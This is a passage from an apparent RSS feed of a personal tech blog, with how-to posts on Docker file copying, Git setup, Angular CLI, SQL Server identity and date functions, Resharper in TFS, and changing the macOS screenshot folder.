<p>You already have this program on your Mac, no need to install something, just type <a href="https://support.apple.com/ru-ru/guide/automator/welcome" target="_blank" rel="noopener"><strong>Automator</strong></a> in search and use it 😉</p>
<p>So, you can automate some routine tasks on your Mac with this program. Later I will publish some examples how to use it and make you more effective person.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to copy files from a Docker container to local machine</title>
      <link>https://koz.tv/posts/copy-file-to-local-folder-from-docker-container/</link>
      <guid isPermaLink="true">https://koz.tv/posts/copy-file-to-local-folder-from-docker-container/</guid>
      <pubDate>Mon, 12 Aug 2019 00:00:00 GMT</pubDate>
      <description>docker cp app:/path/file . copies a file from a Docker container to your machine. Folders, host to container, compose, images, ownership and errors.</description>
      <content:encoded><![CDATA[<p>Copy a file from a container to the current folder:</p>
<pre><code class="language-bash">docker cp app:/app/config.yml .
</code></pre>
<p><code>app</code> is the container name or ID from <code>docker ps</code>. The first path is inside the container, the second one is on your machine. To rename the file, give the new name: <code>./config.backup.yml</code>. An existing local file is overwritten without a prompt.</p>
<p>Tested with Docker 29.7 and Docker Compose 5.5 on Alpine 3.24 and <code>nginx:alpine</code> containers.</p>
<h2>Find the container and the file path</h2>
<pre><code class="language-bash">docker ps -a
docker exec app ls -l /app
</code></pre>
<p><code>docker ps -a</code> also lists stopped containers. Container paths always start at <code>/</code>: <code>docker cp</code> ignores the working directory. If the container&#39;s WORKDIR is <code>/app</code>, then <code>app:config.yml</code> means <code>/config.yml</code>. The full path of a file in WORKDIR: <code>docker exec app readlink -f config.yml</code>.</p>
<h2>Copy a folder from a container</h2>
<pre><code class="language-bash"># ./logs doesn&#39;t exist: created, with the files inside
docker cp app:/app/logs ./logs
# ./backup exists: you get ./backup/logs
docker cp app:/app/logs ./backup
# contents only: ./backup/a.log, ./backup/b.log
docker cp app:/app/logs/. ./backup
</code></pre>
<p>If the destination doesn&#39;t exist, Docker creates it and puts the folder&#39;s contents there. If it exists, the folder lands inside it, unless the source ends with <code>/.</code>: then only the contents are copied. A trailing slash alone (<code>logs/</code>) changes nothing.</p>
<h2>Copy files from local machine into a Docker container</h2>
<p>Swap the arguments:</p>
<pre><code class="language-bash">docker cp ./settings.yml app:/app/
# /srv/static
docker cp ./static app:/srv
# the contents of static in /var/www
docker cp ./static/. app:/var/www
</code></pre>
<p>The folder rules are the same. The copy lives only in this container: after <code>docker rm</code> or <code>docker compose up --force-recreate</code> it&#39;s gone. Files the app always needs belong in the image (<code>COPY</code> in the Dockerfile) or in a volume.</p>
<h2>Copy a file inside a Docker container or between containers</h2>
<p>To copy a file inside a container, run <code>cp</code> there:</p>
<pre><code class="language-bash">docker exec app cp /app/config.yml /app/config.bak
</code></pre>
<p>To copy between two containers, pipe one <code>docker cp</code> into another:</p>
<pre><code class="language-bash">docker cp app:/app/logs - | docker cp - other:/tmp
</code></pre>
<h2>Stopped containers work too</h2>
<p><code>docker cp</code> copies from and into stopped containers. When a container crashes at start, pull out its logs, put back a fixed config and run <code>docker start app</code>. Files in volumes are copied too.</p>
<h2>docker compose cp</h2>
<p>In the folder with <code>compose.yaml</code>, use the service name instead of the container:</p>
<pre><code class="language-bash">docker compose cp web:/app/config.yml .
docker compose cp ./override.yml web:/app/
</code></pre>
<p>If the service is scaled, copying in writes to every replica, while copying out picks one of them, not necessarily the first. Choose it with <code>--index</code>:</p>
<pre><code class="language-bash">docker compose cp --index 2 web:/app/config.yml .
</code></pre>
<p>Stopped services work as well.</p>
<h2>Permissions and file ownership</h2>
<p>Mode bits survive both ways. The owner survives only on the way into the container, and only as numbers.</p>
<p>Container to host: files belong to whoever ran <code>docker cp</code>. So <code>sudo docker cp</code> on Linux leaves root-owned files. Take them back:</p>
<pre><code class="language-bash">sudo chown -R &quot;$(id -u):$(id -g)&quot; ./logs
</code></pre>
<p>To drop <code>sudo</code>, add yourself to the <code>docker</code> group (<code>sudo usermod -aG docker $USER</code>) and log in again, <a href="https://koz.tv/posts/create-admin-user-in-ubuntu-linux/">as with any new group</a>. This group gives root-level access to the machine.</p>
<p>Host to container: files keep the numeric UID and GID they had on the host, and <code>sudo docker cp</code> doesn&#39;t change them. That&#39;s 1000:1000 for a typical Linux user and 501:20 on a Mac. If the app in the container runs as another user, writing to them fails with <code>Permission denied</code>. With <code>-a</code>, Docker hands the files to the container&#39;s user, the one from <code>--user</code> or <code>USER</code> in the Dockerfile:</p>
<pre><code class="language-bash">docker cp -a ./settings.yml app:/app/
</code></pre>
<p>If neither <code>--user</code> nor <code>USER</code> is set, <code>-a</code> changes nothing. It also does nothing when copying out. To fix an owner afterwards: <code>docker exec -u 0 app chown 1000:1000 /app/settings.yml</code>.</p>
<h2>Copy a file from a Docker image</h2>
<p><code>docker cp</code> needs a container, but not a running one. <code>docker create</code> makes it from the image without starting anything:</p>
<pre><code class="language-bash">docker create --name tmp nginx:alpine
docker cp tmp:/etc/nginx/nginx.conf .
docker rm tmp
</code></pre>
<p>An image without a default command (<code>FROM scratch</code>) fails with <code>no command specified</code>. Pass any command, nothing will run it:</p>
<pre><code class="language-bash">docker create --name tmp my-image none
</code></pre>
<h2>Stream a tar archive with -</h2>
<p>With <code>-</code> instead of the local path, <code>docker cp</code> writes a tar archive to stdout or reads one from stdin:</p>
<pre><code class="language-bash">docker cp app:/app/logs - &gt; logs.tar
docker cp app:/app/logs - | gzip &gt; logs.tar.gz
tar -c -C ./site . | docker cp - app:/var/www
</code></pre>
<p>When reading, the destination must be an existing folder; gzip is fine too. On a Mac, <code>tar</code> packs extended attributes, and Docker fails with <code>xattr &quot;com.apple.provenance&quot;: operation not supported</code>. Pack without them:</p>
<pre><code class="language-bash">COPYFILE_DISABLE=1 tar --no-xattrs -c -C ./site . | docker cp - app:/var/www
</code></pre>
<p>Plain <code>docker cp ./site/. app:/var/www</code> doesn&#39;t have this problem.</p>
<h2>Copy files by mask or from tmpfs</h2>
<p><code>docker cp</code> doesn&#39;t expand globs: <code>docker cp &#39;app:/app/logs/*.log&#39; .</code> fails. In tmpfs mounts it sees an empty folder, and it can&#39;t read <code>/proc</code>, <code>/sys</code> or <code>/dev</code> at all. Run tar inside the running container instead:</p>
<pre><code class="language-bash">mkdir -p logs scratch
docker exec app sh -c &#39;cd /app/logs &amp;&amp; tar -c *.log&#39; | tar -x -C ./logs
docker exec app tar -c -C /scratch . | tar -x -C ./scratch
</code></pre>
<p>Run <code>docker exec</code> without <code>-t</code>: a TTY corrupts the archive.</p>
<h2>Copy a file from a Docker container on Windows</h2>
<p>Same command in PowerShell. A path with a drive letter counts as local:</p>
<pre><code class="language-powershell">docker cp app:/app/config.yml C:\Users\me\Desktop
</code></pre>
<h2>Common errors</h2>
<ul>
<li><code>No such container: app</code>: wrong name or ID, check <code>docker ps -a</code>. Compose names containers like <code>project-web-1</code>; with <code>docker compose cp</code> use the service name.</li>
<li><code>Could not find the file /app/config.yml in container app</code>: wrong path in the container. When copying in, the folder you copy into is missing: for <code>app:/app/conf/settings.yml</code> that&#39;s <code>/app/conf</code>. Also shows up for paths relative to WORKDIR, globs and files in tmpfs.</li>
<li><code>no such directory</code> or <code>invalid output path: directory &quot;…&quot; does not exist</code>: the destination folder is missing, on the host or in the container. Create it with <code>mkdir -p</code>, in the container with <code>docker exec app mkdir -p /app/conf</code>.</li>
<li><code>cannot copy directory</code>: the destination is an existing file.</li>
<li><code>copying between containers is not supported</code>: both arguments contain a colon. A local name with <code>:</code> needs <code>./</code> in front: <code>./backup:1.yml</code>.</li>
<li><code>must specify at least one container source</code>: neither argument has <code>container:</code>.</li>
<li><code>container rootfs is marked read-only</code>: the container runs with <code>--read-only</code>. Its volumes still accept files.</li>
<li>The copy is a broken link: the source is a symlink, and Docker copied the link itself. Add <code>-L</code> to copy the file it points to.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Git configuration and first push</title>
      <link>https://koz.tv/posts/git-configuration-and-first-push/</link>
      <guid isPermaLink="true">https://koz.tv/posts/git-configuration-and-first-push/</guid>
      <pubDate>Sat, 04 May 2019 00:00:00 GMT</pubDate>
      <description>Navigate to the local project directory and create a git repository. To add all files to next commit, run following. To check git status, use this.</description>
      <content:encoded><![CDATA[<p>Navigate to the local project directory and create a git repository:</p>
<pre><code class="language-bash">git init
</code></pre>
<p>To add all files to next commit, run following:</p>
<pre><code class="language-bash">git add .
</code></pre>
<p>To check git status, use this:</p>
<pre><code class="language-bash">git status
</code></pre>
<p>Run command to make your first commit:</p>
<pre><code class="language-bash">git commit -m &quot;Your comment&quot;
</code></pre>
<p>Setup link to your github repository and push changes:</p>
<pre><code class="language-bash"># link the local repo to the remote one
git remote add origin &lt;Link to GitHub Repo&gt;

# check the link
git remote -v

# push the committed changes to the remote repo
git push -u origin master
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Useful angular commands</title>
      <link>https://koz.tv/posts/useful-angular-commands/</link>
      <guid isPermaLink="true">https://koz.tv/posts/useful-angular-commands/</guid>
      <pubDate>Wed, 01 May 2019 00:00:00 GMT</pubDate>
      <description>Create a new angular project. Update application and it’s dependencies. For development, start the app at localhost:4200</description>
      <content:encoded><![CDATA[<p>Create a new angular project</p>
<pre><code class="language-bash">ng new
</code></pre>
<p>Update application and it’s dependencies</p>
<pre><code class="language-bash">ng update
</code></pre>
<p>For development, start the app at localhost:4200</p>
<pre><code class="language-bash">ng serve --open
</code></pre>
<p>Generate new component</p>
<pre><code class="language-bash">ng generate component [component name]
</code></pre>
<p>Install in-memory Web API</p>
<pre><code class="language-bash">npm install angular-in-memory-web-api --save
</code></pre>
<p><a href="https://ppolyzos.com/2019/01/18/publish-an-angular-web-app-to-azure-using-github-azuredevops-azure-storage-account/" target="_blank" rel="noopener">Publish Angular to Azure</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>SQL Server: insert an explicit ID and reset identity (auto increment)</title>
      <link>https://koz.tv/posts/ms-sql-insert-in-the-middle-and-reset-auto-increment/</link>
      <guid isPermaLink="true">https://koz.tv/posts/ms-sql-insert-in-the-middle-and-reset-auto-increment/</guid>
      <pubDate>Sun, 28 Apr 2019 00:00:00 GMT</pubDate>
      <description>SET IDENTITY_INSERT inserts a row with the ID you choose, DBCC CHECKIDENT resets auto increment. Why after RESEED 0 the next ID is 0 in one table, 1 in another.</description>
      <content:encoded><![CDATA[<p>To insert a row with a specific value in an <code>IDENTITY</code> column, for example to fill the gap left by a deleted row:</p>
<pre><code class="language-sql">SET IDENTITY_INSERT dbo.Tool ON;

-- The column list is required
INSERT INTO dbo.Tool (ID, Name)
VALUES (3, &#39;Garden shovel&#39;);

SET IDENTITY_INSERT dbo.Tool OFF;
</code></pre>
<p>To start numbering from 1 again after deleting every row with <code>DELETE</code> (for <code>IDENTITY(1,1)</code>):</p>
<pre><code class="language-sql">-- The table was emptied with DELETE: the next ID is 0 + 1
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, 0);
</code></pre>
<p>If the table was emptied with <code>TRUNCATE TABLE</code>, the same command gives the next row ID 0. Details below.</p>
<h2>IDENTITY_INSERT rules</h2>
<ul>
<li>Without a column list the insert fails with error 8101: <code>An explicit value for the identity column in table &#39;MyDb.dbo.Tool&#39; can only be specified when a column list is used and IDENTITY_INSERT is ON.</code> With a column list but <code>IDENTITY_INSERT</code> off, with error 544: <code>Cannot insert explicit value for identity column in table &#39;Tool&#39; when IDENTITY_INSERT is set to OFF.</code></li>
<li>Only one table in a session can have <code>IDENTITY_INSERT</code> on. Turning it on for a second table fails with an error that names the table where it&#39;s already on.</li>
<li>If you insert a value larger than the current identity, SQL Server moves the counter up: after inserting ID 1000 by hand, the next automatic ID is 1001.</li>
<li>You need to own the table or have <code>ALTER</code> permission on it.</li>
</ul>
<h2>DBCC CHECKIDENT RESEED: 0 or 1</h2>
<p>After <code>DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, N)</code> the next row gets:</p>
<table>
<thead>
<tr>
<th>The table</th>
<th>Next ID</th>
</tr>
</thead>
<tbody><tr>
<td>never had rows, or was emptied with <code>TRUNCATE TABLE</code></td>
<td>N</td>
</tr>
<tr>
<td>has rows, or was emptied with <code>DELETE</code></td>
<td>N + increment</td>
</tr>
</tbody></table>
<p>A rolled-back insert counts as a deleted row: the next ID is N + increment.</p>
<p>After <code>TRUNCATE TABLE</code> you don&#39;t need <code>CHECKIDENT</code> at all: <code>TRUNCATE</code> already resets the counter to the seed from the table definition.</p>
<h2>Check and fix the counter</h2>
<pre><code class="language-sql">-- Current counter and the largest ID in the column; changes nothing
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, NORESEED);

-- The current counter as a value
SELECT IDENT_CURRENT(&#39;dbo.Tool&#39;);

-- If the counter is below the largest ID, raise it to the largest ID
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED);
</code></pre>
<p><code>RESEED</code> without a number never lowers the counter. After deleting the last rows, lower it in two steps: set a small value, then let <code>RESEED</code> raise it to the largest ID left:</p>
<pre><code class="language-sql">DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, 0);
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED);
</code></pre>
<p>Don&#39;t set the counter below the largest ID in a table with rows. With a <code>PRIMARY KEY</code> or <code>UNIQUE</code> constraint, later inserts fail with error 2627. Without one, you get duplicate IDs.</p>
<p>To run <code>DBCC CHECKIDENT</code> you must own the schema that contains the table or be a member of <code>sysadmin</code>, <code>db_owner</code> or <code>db_ddladmin</code>.</p>
<h2>What doesn&#39;t work</h2>
<ul>
<li><code>UPDATE dbo.Tool SET ID = 5 WHERE ID = 3</code> fails with <code>Cannot update identity column &#39;ID&#39;.</code> To change an ID, insert a copy of the row with <code>IDENTITY_INSERT</code> and delete the old one.</li>
<li><code>CHECKIDENT</code> doesn&#39;t renumber existing rows and doesn&#39;t change the seed from the table definition. For that, recreate the identity column.</li>
<li>Gaps are normal: rolled-back transactions and server restarts skip values. SQL Server 2017 and later can turn off the identity cache behind restart gaps with <code>ALTER DATABASE SCOPED CONFIGURATION SET IDENTITY_CACHE = OFF;</code>, but if you need numbers without gaps, keep them in a separate column.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>SQL current date minus 1 day, month or year (GETDATE)</title>
      <link>https://koz.tv/posts/sql-query-for-todays-date-minus-year-month-day-or-minute/</link>
      <guid isPermaLink="true">https://koz.tv/posts/sql-query-for-todays-date-minus-year-month-day-or-minute/</guid>
      <pubDate>Tue, 09 Oct 2018 00:00:00 GMT</pubDate>
      <description>SQL Server: DATEADD(day, -1, GETDATE()), same for months and years. A yesterday filter that keeps the index, plus PostgreSQL, MySQL, SQLite and Oracle.</description>
      <content:encoded><![CDATA[<p>In SQL Server, subtract time with <code>DATEADD</code> and a negative number. T-SQL has no <code>DATESUB</code>:</p>
<pre><code class="language-sql">SELECT DATEADD(day,    -1, GETDATE());  -- now minus 1 day
SELECT DATEADD(month,  -1, GETDATE());  -- now minus 1 month
SELECT DATEADD(year,   -1, GETDATE());  -- now minus 1 year
SELECT DATEADD(minute, -30, GETDATE()); -- now minus 30 minutes
</code></pre>
<p>The syntax is <code>DATEADD(datepart, number, date)</code> (<a href="https://learn.microsoft.com/en-us/sql/t-sql/functions/dateadd-transact-sql" target="_blank" rel="noopener">Microsoft docs</a>). A positive number moves forward: <code>DATEADD(month, 5, GETDATE())</code> is five months from now.</p>
<p>Date minus date is <code>DATEDIFF(day, @from, @to)</code>: the number of days between them. It counts boundaries crossed, not whole periods, so <code>DATEDIFF(year, &#39;20251231&#39;, &#39;20260101&#39;)</code> returns 1 after a single day.</p>
<h2>Current date minus 1 day, without the time</h2>
<p><code>GETDATE()</code> includes the time. For yesterday&#39;s date, cast to <code>date</code> first:</p>
<pre><code class="language-sql">-- today, no time part
SELECT CAST(GETDATE() AS date);

-- yesterday
SELECT DATEADD(day, -1, CAST(GETDATE() AS date));

-- yesterday, SQL Server 2025
SELECT DATEADD(day, -1, CURRENT_DATE);
</code></pre>
<p>Since SQL Server 2025, T-SQL has <code>CURRENT_DATE</code>: it does the same as <code>CAST(GETDATE() AS date)</code> and returns <code>date</code> (<a href="https://learn.microsoft.com/en-us/sql/t-sql/functions/current-date-transact-sql" target="_blank" rel="noopener">Microsoft docs</a>). Azure SQL Database and Azure SQL Managed Instance have it too. SQL Server 2022 and older don&#39;t have it: 2022 fails with &quot;Incorrect syntax near the keyword &#39;CURRENT_DATE&#39;&quot;.</p>
<p><code>DATEADD</code> returns the type it was given: <code>datetime</code> for <code>GETDATE()</code>, <code>date</code> for a <code>date</code>. A string literal becomes <code>datetime</code>, so write it as <code>&#39;yyyymmdd&#39;</code>: with a Russian, German or British session language, <code>&#39;2026-11-03&#39;</code> reads as March 11.</p>
<h2>GETDATE minus 1 day in a WHERE clause</h2>
<p>The last 24 hours:</p>
<pre><code class="language-sql">SELECT * FROM Orders
WHERE CreatedAt &gt;= DATEADD(day, -1, GETDATE());
</code></pre>
<p>Yesterday as a calendar day, from midnight to midnight:</p>
<pre><code class="language-sql">SELECT * FROM Orders
WHERE CreatedAt &gt;= DATEADD(day, -1, CAST(GETDATE() AS date))
  AND CreatedAt &lt;  CAST(GETDATE() AS date);
</code></pre>
<p>Keep the column bare and do the math on the other side. I compared plans on SQL Server 2022 with an index on <code>CreatedAt</code>: this range gets an Index Seek, while <code>DATEDIFF(day, CreatedAt, GETDATE()) = 1</code> or <code>CONVERT(varchar, CreatedAt, 120)</code> scan the whole index. <code>CAST(CreatedAt AS date) = ...</code> happens to seek too, but the half-open range <code>&gt;= start AND &lt; end</code> works the same in every database.</p>
<p>With a <code>DECLARE @today date</code> variable the index may go unused: the optimizer builds the plan without knowing its value and assumes a fixed share of the table matches. In my test, <code>SELECT *</code> with the variable read the whole clustered index. If you need the variable, add <code>OPTION (RECOMPILE)</code>.</p>
<p>Don&#39;t end the day with <code>BETWEEN ... AND &#39;23:59:59.999&#39;</code>: against a <code>datetime</code> column, <code>&#39;23:59:59.999&#39;</code> rounds up to the next midnight, so rows stamped exactly at today&#39;s 00:00:00 slip in.</p>
<h2>Current date minus 1 year or 1 month</h2>
<pre><code class="language-sql">-- same day last year
SELECT DATEADD(year, -1, CAST(GETDATE() AS date));

SELECT DATEADD(month, -1, &#39;20260331&#39;); -- 2026-02-28 00:00:00.000
SELECT DATEADD(year, -1, &#39;20280229&#39;);  -- 2027-02-28 00:00:00.000
</code></pre>
<p>If that day doesn&#39;t exist in the target month, you get the month&#39;s last day.</p>
<p>SQL Server 2022 added <code>DATETRUNC</code> for the start of a month:</p>
<pre><code class="language-sql">-- start of this month
SELECT DATETRUNC(month, GETDATE());

-- start of last month
SELECT DATEADD(month, -1, DATETRUNC(month, GETDATE()));

-- last day of last month
SELECT EOMONTH(GETDATE(), -1);
</code></pre>
<p>On older versions, use the <code>DATEADD</code> + <code>DATEDIFF</code> trick from <a href="https://koz.tv/posts/start-of-month-from-date-in-ms-sql-opposite-to-eomonth-function/">start of month in MS SQL</a>.</p>
<h2>GETDATE, SYSDATETIME or CURRENT_TIMESTAMP</h2>
<ul>
<li><code>CURRENT_TIMESTAMP</code> is the ANSI name for <code>GETDATE()</code>: same <code>datetime</code>, accurate to about 3 ms. Current timestamp minus 1 day is <code>DATEADD(day, -1, CURRENT_TIMESTAMP)</code>.</li>
<li><code>SYSDATETIME()</code> returns <code>datetime2(7)</code> with seven fractional digits.</li>
<li><code>GETUTCDATE()</code> and <code>SYSUTCDATETIME()</code> return UTC. Azure SQL Database runs on UTC by default, so there <code>GETDATE()</code> is UTC too.</li>
</ul>
<h2>Datepart values</h2>
<ul>
<li><code>year</code> (<code>yy</code>, <code>yyyy</code>)</li>
<li><code>quarter</code> (<code>qq</code>, <code>q</code>)</li>
<li><code>month</code> (<code>mm</code>, <code>m</code>)</li>
<li><code>dayofyear</code> (<code>dy</code>, <code>y</code>)</li>
<li><code>day</code> (<code>dd</code>, <code>d</code>)</li>
<li><code>week</code> (<code>wk</code>, <code>ww</code>)</li>
<li><code>weekday</code> (<code>dw</code>, <code>w</code>)</li>
<li><code>hour</code> (<code>hh</code>)</li>
<li><code>minute</code> (<code>mi</code>, <code>n</code>)</li>
<li><code>second</code> (<code>ss</code>, <code>s</code>)</li>
<li><code>millisecond</code> (<code>ms</code>)</li>
<li><code>microsecond</code> (<code>mcs</code>)</li>
<li><code>nanosecond</code> (<code>ns</code>)</li>
</ul>
<p>In <code>DATEADD</code>, <code>dayofyear</code>, <code>day</code> and <code>weekday</code> all add days. <code>microsecond</code> and <code>nanosecond</code> don&#39;t work with <code>datetime</code> values like <code>GETDATE()</code>.</p>
<h2>Current date minus 1 day in PostgreSQL, MySQL, SQLite and Oracle</h2>
<p>I ran these on PostgreSQL 16, MySQL 8.4 and SQLite 3.51 and checked Oracle against its documentation.</p>
<h3>PostgreSQL</h3>
<pre><code class="language-sql">SELECT CURRENT_DATE - 1;                  -- today minus 1 day
SELECT now() - interval &#39;1 day&#39;;          -- now minus 1 day
SELECT CURRENT_DATE - interval &#39;1 month&#39;; -- today minus 1 month
</code></pre>
<p>Date minus interval is a <code>timestamp</code>: <code>CURRENT_DATE - INTERVAL &#39;1 day&#39;</code> is yesterday 00:00:00. Add <code>::date</code> for a date.</p>
<h3>MySQL</h3>
<pre><code class="language-sql">SELECT DATE_SUB(CURDATE(), INTERVAL 1 DAY);   -- today minus 1 day
SELECT NOW() - INTERVAL 1 DAY;                -- now minus 1 day
SELECT DATE_SUB(CURDATE(), INTERVAL 1 MONTH); -- today minus 1 month
</code></pre>
<p>Don&#39;t write <code>CURDATE() - 1</code>: MySQL turns the date into a number, and on November 1 you get <code>20261100</code>.</p>
<h3>SQLite</h3>
<pre><code class="language-sql">SELECT date(&#39;now&#39;, &#39;-1 day&#39;);     -- today minus 1 day
SELECT datetime(&#39;now&#39;, &#39;-1 day&#39;); -- now minus 1 day
SELECT date(&#39;now&#39;, &#39;-1 month&#39;);   -- today minus 1 month
</code></pre>
<p><code>&#39;now&#39;</code> is UTC; add <code>&#39;localtime&#39;</code> for local time. <code>date(&#39;2026-03-31&#39;, &#39;-1 month&#39;)</code> returns <code>2026-03-03</code>. Since 3.46, add <code>&#39;floor&#39;</code> as the last argument to get <code>2026-02-28</code>.</p>
<h3>Oracle</h3>
<pre><code class="language-sql">SELECT TRUNC(SYSDATE) - 1 FROM dual;             -- today minus 1 day
SELECT SYSDATE - 1 FROM dual;                    -- now minus 1 day
SELECT ADD_MONTHS(TRUNC(SYSDATE), -1) FROM dual; -- today minus 1 month
</code></pre>
<p>A number means days, so <code>SYSDATE - 1/24</code> is an hour ago. For years use <code>ADD_MONTHS(SYSDATE, -12)</code>. <code>SYSDATE - INTERVAL &#39;1&#39; MONTH</code> raises an error on March 31, because February 31 doesn&#39;t exist.</p>
<h2>Pitfalls in T-SQL</h2>
<ul>
<li><code>GETDATE() - 1</code> works on <code>datetime</code>, but <code>SYSDATETIME() - 1</code> fails with &quot;Operand type clash: datetime2 is incompatible with int&quot;. Use <code>DATEADD</code>.</li>
<li><code>CURRENT_DATE - 1</code> works in PostgreSQL, but T-SQL doesn&#39;t add numbers to a <code>date</code>: in SQL Server 2025 it fails with &quot;Operand type clash: date is incompatible with int&quot;. Write <code>DATEADD(day, -1, CURRENT_DATE)</code>.</li>
<li><code>m</code> is month, not minute. Minute is <code>mi</code> or <code>n</code>.</li>
<li>The datepart can&#39;t be a variable: <code>DATEADD(@part, -1, GETDATE())</code> fails with &quot;Invalid parameter 1 specified for dateadd&quot;. Branch with <code>CASE</code>.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Adding Resharper Code Quality Analysis to TFS/VSTS</title>
      <link>https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/</link>
      <guid isPermaLink="true">https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/</guid>
      <pubDate>Tue, 15 May 2018 00:00:00 GMT</pubDate>
      <description>To improve code qulaity of your project is’t good to check every build with some analyzing tool such as Resharper Code Quality Analysis.</description>
      <content:encoded><![CDATA[<p>To improve code qulaity of your project is’t good to check every build with some analyzing tool such as <a href="https://marketplace.visualstudio.com/items?itemName=alanwales.resharper-code-analysis" target="_blank" rel="noopener">Resharper Code Quality Analysis</a>.</p>
<p><a href="https://marketplace.visualstudio.com/items?itemName=alanwales.resharper-code-analysis" title="Resharper Code Quality Analysis" target="_blank" rel="noopener">Install Resharper Code Quality Analysis</a></p>
<p>Now you have to add additional step to the build definition of your project after build step, like this:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.webp" alt="New build step" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image1.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Then you need to set “Path to .sln or .csproj file”, you can find it in build log in build step. Usually it something like “YourProjectName” + .sln or “YourProjectName\YourProjectName” + .sln</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.webp" alt="Path to .sln or .csproj file" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image2.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>System.Management.Automation.MethodInvocationException: Exception calling “GetFullPath” with “1” argument(s): “Illegal characters in path.” —&gt; System.ArgumentException: Illegal characters in path.</p>
<p>Set “Fail build severity” to “Error” if you want your build fail only in case some critical problems have found.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.avif 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3.avif 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.webp" alt="Fail build severity" width="903" height="397" style="aspect-ratio:903/397" srcset="https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3-480.webp 480w, https://koz.tv/posts/adding-resharper-code-quality-analysis-to-tfs-vsts/image3.webp 903w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
]]></content:encoded>
    </item>
    <item>
      <title>How to change the default screenshot location on Mac</title>
      <link>https://koz.tv/posts/changing-the-folder-where-screenshots-placed-on-mac/</link>
      <guid isPermaLink="true">https://koz.tv/posts/changing-the-folder-where-screenshots-placed-on-mac/</guid>
      <pubDate>Thu, 01 Feb 2018 00:00:00 GMT</pubDate>
      <description>Mac saves screenshots to the Desktop. Change the folder in Shift-Command-5 → Options → Save to, or with one Terminal command. Also: reset, clipboard, format.</description>
      <content:encoded><![CDATA[<p>Mac saves screenshots to the Desktop by default. To change that on macOS Mojave 10.14 and later, press <strong>Shift-Command-5</strong>, click <strong>Options</strong>, under <strong>Save to</strong> choose <strong>Other Location…</strong> and pick a folder. From then on every screenshot goes there, including the ones you take with Shift-Command-3 and Shift-Command-4.</p>
<p>The same in Terminal, on any macOS version:</p>
<pre><code class="language-bash">mkdir -p ~/Screenshots
defaults write com.apple.screencapture location ~/Screenshots
killall SystemUIServer
</code></pre>
<p>Replace <code>~/Screenshots</code> with your folder. Menu names are from macOS Tahoe 26.1.</p>
<h2>Change the screenshot location with Shift-Command-5</h2>
<ol>
<li>Press Shift-Command-5. The Screenshot toolbar opens.</li>
<li>Click <strong>Options</strong>.</li>
<li>Under <strong>Save to</strong>, choose Desktop or Documents, or click <strong>Other Location…</strong> and select a folder. You can create a new folder in the same dialog.</li>
<li>Press Esc to close the toolbar.</li>
</ol>
<p>The setting stays until you change it again. The other items under <strong>Save to</strong> (Clipboard, Mail, Messages, Preview) send the screenshot to the clipboard or to that app instead of a folder.</p>
<p>If you&#39;ve reassigned the shortcut, open Screenshot from Applications → Utilities. On macOS High Sierra 10.13 and earlier there is no Screenshot app, so use Terminal.</p>
<h2>Change the screenshot location with Terminal</h2>
<p>Create the folder first, then point macOS at it. A quick way to get the path right: type the command with a trailing space, drag the folder from Finder onto the Terminal window, and its full path appears on the command line. Press Return.</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location ~/Documents/Screenshots
</code></pre>
<p>A dragged path needs no quotes: Terminal escapes the spaces in it. If you type a path with spaces by hand, put it in quotes. The shell doesn&#39;t expand <code>~</code> inside quotes, so write <code>$HOME</code>:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location &quot;$HOME/Pictures/Screen shots&quot;
</code></pre>
<p>Then apply the change:</p>
<pre><code class="language-bash">killall SystemUIServer
</code></pre>
<p>SystemUIServer handles the screenshot shortcuts. macOS starts it again right away with the new settings, and your apps stay open.</p>
